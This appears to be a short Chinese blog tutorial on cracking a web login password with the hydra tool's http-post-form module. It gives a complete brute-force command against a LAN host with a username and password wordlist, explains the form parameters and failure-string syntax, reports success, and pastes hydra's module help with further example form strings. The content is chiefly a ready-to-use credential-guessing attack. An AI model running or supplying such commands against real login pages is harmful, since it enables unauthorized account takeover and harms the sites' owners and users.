使用 hydra 破解网络登录密码

  这里说的是 post 类型的。。

 
[root@fedora ~]# hydra -f -l sincoder -P /root/1.txt -V -s 9900 192.168.7.122 http-post-form "/admin/index.php?action=login:user=^USER^&pw=^PASS^:<title>登录</title>"

主要看后面 。。

/index.php ..这个是登录的 url

后门是POST的数据 其中的用户名密码使用 ^USER^ ^PASS^ 来代替

然后是如果登录出错 会出现的字符 。。。

然后开始破解吧 

这里破出来了。。

详细的解释

[root@fedora ~]# hydra -U http-form
Hydra v7.3 (c)2012 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra (http://www.thc.org/thc-hydra) starting at 2012-11-25 19:25:02

Help for module http-form:
============================================================================
Module http-form requires the page and the parameters for the web form.

By default this module is configured to follow a maximum of 5 redirections in
a row. It always gathers a new cookie from the same URL without variables
The parameters take three ":" separated values, plus optional values.

Syntax:   <url>:<form parameters>:<condition string>[:<optional>[:<optional>]
First is the page on the server to GET or POST to (URL).
Second is the POST/GET variables (taken from either the browser, proxy, etc.
 with usernames and passwords being replaced in the "^USER^" and "^PASS^"
 placeholders (FORM PARAMETERS)
Third is the string that it checks for an *invalid* login (by default)
 Invalid condition login check can be preceded by "F=", successful condition
 login check must be preceded by "S=".
 This is where most people get it wrong. You have to check the webapp what a
 failed string looks like and put it in this parameter!
The following parameters are optional:
 C=/page/uri     to define a different page to gather initial cookies from
 H=My-Hdr: foo   to send a user defined HTTP header with each request
Examples:
 "/login.php:user=^USER^&pass=^PASS^&mid=123:incorrect"
 "/login.php:user=^USER^&pass=^PASS^&mid=123:S=authlog=.*success"
 "/login.php:user=^USER^&pass=^PASS^&mid=123:authlog=.*failed"
 "/login:user=^USER&pass=^PASS:failed:H=Authorization: Basic dT1w:H=X-Foo: Bar"
 "/exchweb/bin/auth/owaauth.dll:destination=http%3A%2F%2F<target>%2Fexchange&flags=0&username=<domC^USER^&password=^PASS^&SubmitCreds=x&trusted=0:reason=:C=/exchweb"
[root@fedora ~]#